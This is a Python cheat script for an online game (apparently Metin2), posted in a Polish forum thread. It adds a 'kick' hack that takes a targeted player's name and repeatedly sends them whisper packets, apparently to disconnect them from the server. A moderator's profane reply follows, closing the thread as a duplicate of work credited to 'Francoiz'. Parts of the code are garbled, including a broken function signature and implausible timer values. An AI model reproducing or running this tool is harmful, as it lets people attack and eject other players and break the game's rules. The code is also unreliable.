		self.btnataque = self.comp.Button(self.Board, 'Ataque 2', '', 20, 86, self.btnataque_func, 'd:/ymir work/ui/public/xlarge_button_01.sub', 'd:/ymir work/ui/public/xlarge_button_02.sub', 'd:/ymir work/ui/public/xlarge_button_03.sub')
		(self.slotbar_editname, self.editname) = self.comp.EditLine(self.Board, nombre, 63, 37, 135, 15, 25)
		self.txtnombre = self.comp.TextLine(self.Board, 'Nombre:', 19, 37, self.comp.RGB(255, 255, 255))
		self.txtcreditos = self.comp.TextLine(self.Board, 'by Francoiz', 19, 111, self.comp.RGB(225, 215, 22))

	
	def btnataque_func(self):
		pass

	
	def btnobtener_func(self):
		global nombre
		pj = player.GetTargetVID()
		nombre = chr.GetNameByVID(pj)
		self.editname.SetText(nombre)

	
	def btnkick_func(self):
		global kick
		if kick == 0:
			kick = 1
			self.btnkick.SetText('Parar kick')
			self.kickfinish()
		else:
			self.btnkick.SetText('Activar kick')
			kick = 0

	
	def kickfinish(self):
		net.SendWhisperPacket(str(nombre), msj2)
		if kick == 1:
			self.kickseg = WaitingDialog()
			self.kickseg.Open(float(3.46979e+018))
			self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)
		else:
			self.kickseg = WaitingDialog()
			self.kickseg.Open(int(0x72CB5BD86321E38CB6CE6682E7FFFFFFFFFFL))
			self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)

	
	def OnKeyDown(self, key):
		if key == app.DIK_F5:
			self.OpenWindow()
		return TRUE
	
	def OpenWindow(self):
		if self.Board.IsShow():
			self.Board.Hide()
		else:
			self.Board.Show()



class Component:
	
	def Button(self, parent, buttonName, tooltipText, x, y, func, UpVisual, OverVisual, DownVisual):
		button = ui.Button()
		if parent != None:
			button.SetParent(parent)
		button.SetPosition(x, y)
		button.SetUpVisual(UpVisual)
		button.SetOverVisual(OverVisual)
		button.SetDownVisual(DownVisual)
		button.SetText(buttonName)
		button.Show()
		button.SetEvent(func)
		return button

	
	def ToggleButton(self, parent, buttonName, tooltipText, x, y, funcUp, funcDown, UpVisual, OverVisual, DownVisual):
		button = ui.ToggleButton()
		if parent != None:
			button.SetParent(parent)
		button.SetPosition(x, y)
		button.SetUpVisual(UpVisual)
		button.SetOverVisual(OverVisual)
		button.SetDownVisual(DownVisual)
		button.SetText(buttonName)
		button.Show()
		button.SetToggleUpEvent(funcUp)
		button.SetToggleDownEvent(funcDown)
		return button

	
	def EditLine(self, parent, editlineText, x, y, width, heigh, max):
		SlotBar = ui.SlotBar()
		if parent != None:
			SlotBar.SetParent(parent)
		SlotBar.SetSize(width, heigh)
		SlotBar.SetPosition(x, y)
		SlotBar.Show()
		Value = ui.EditLine()
		Value.SetParent(SlotBar)
		Value.SetSize(width, heigh)
		Value.SetPosition(4, 1)
		Value.SetMax(max)
		Value.SetLimitWidth(width)
		Value.SetMultiLine()
		Value.SetText(editlineText)
		Value.Show()
		return (SlotBar, Value)

	
	def TextLine(self, parent, textlineText, x, y, color):
		textline = ui.TextLine()
		if parent != None:
			textline.SetParent(parent)
		textline.SetPosition(x, y)
		if color != None:
			textline.SetFontColor(color[0], color[1], color[2])
		textline.SetText(textlineText)
		textline.Show()
		return textline

	
	def RGB(self, r, g, :
		return (r * 255, g * 255, b * 255)

	
	def SliderBar(self, parent, sliderPos, func, x, y):
		Slider = ui.SliderBar()
		if parent != None:
			Slider.SetParent(parent)
		Slider.SetPosition(x, y)
		Slider.SetSliderPos(sliderPos / 100)
		Slider.Show()
		Slider.SetEvent(func)
		return Slider

	
	def ExpandedImage(self, parent, x, y, img):
		image = ui.ExpandedImageBox()
		if parent != None:
			image.SetParent(parent)
		image.SetPosition(x, y)
		image.LoadImage(img)
		image.Show()
		return image

	
	def ComboBox(self, parent, text, x, y, width):
		combo = ui.ComboBox()
		if parent != None:
			combo.SetParent(parent)
		combo.SetPosition(x, y)
		combo.SetSize(width, 15)
		combo.SetCurrentItem(text)
		combo.Show()
		return combo

	
	def ThinBoard(self, parent, moveable, x, y, width, heigh, center):
		thin = ui.ThinBoard()
		if parent != None:
			thin.SetParent(parent)
		if moveable == TRUE:
			thin.AddFlag('movable')
			thin.AddFlag('float')
		thin.SetSize(width, heigh)
		thin.SetPosition(x, y)
		if center == TRUE:
			thin.SetCenterPosition()
		thin.Show()
		return thin

	
	def Gauge(self, parent, width, color, x, y):
		gauge = ui.Gauge()
		if parent != None:
			gauge.SetParent(parent)
		gauge.SetPosition(x, y)
		gauge.MakeGauge(width, color)
		gauge.Show()
		return gauge

	
	def ListBoxEx(self, parent, x, y, width, heigh):
		bar = ui.Bar()
		if parent != None:
			bar.SetParent(parent)
		bar.SetPosition(x, y)
		bar.SetSize(width, heigh)
		bar.SetColor(1996488704)
		bar.Show()
		ListBox = ui.ListBoxEx()
		ListBox.SetParent(bar)
		ListBox.SetPosition(0, 0)
		ListBox.SetSize(width, heigh)
		ListBox.Show()
		scroll = ui.ScrollBar()
		scroll.SetParent(ListBox)
		scroll.SetPosition(width - 15, 0)
		scroll.SetScrollBarSize(heigh)
		scroll.Show()
		ListBox.SetScrollBar(scroll)
		return (bar, ListBox)



class WaitingDialog(ui.ScriptWindow):
	
	def __init__(self):
		ui.ScriptWindow.__init__(self)
		
		self.eventTimeOver = None
		self.eventExit = None


	
	def __del__(self):
		ui.ScriptWindow.__del__(self)

	
	def Open(self, waitTime):
		curTime = time.clock()
		self.endTime = curTime + waitTime
		self.Show()

	
	def Close(self):
		self.Hide()

	
	def Destroy(self):
		self.Hide()

	
	def SAFE_SetTimeOverEvent(self, event):
		self.eventTimeOver = ui.__mem_func__(event)

	
	def SAFE_SetExitEvent(self, event):
		self.eventExit = ui.__mem_func__(event)

	
	def OnUpdate(self):
		lastTime = max(0, self.endTime - time.clock())
		if 0 == lastTime:
			self.Close()
			self.eventTimeOver()
		else:
			return None 

 

 

 

więc skoro wyszło, że to by francoiz to do wyjebania temat, bo jest już na forum ten kickhack, dla tego 'heaven' kopa w ryj za podjebanie pracy.

 

Kosz.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...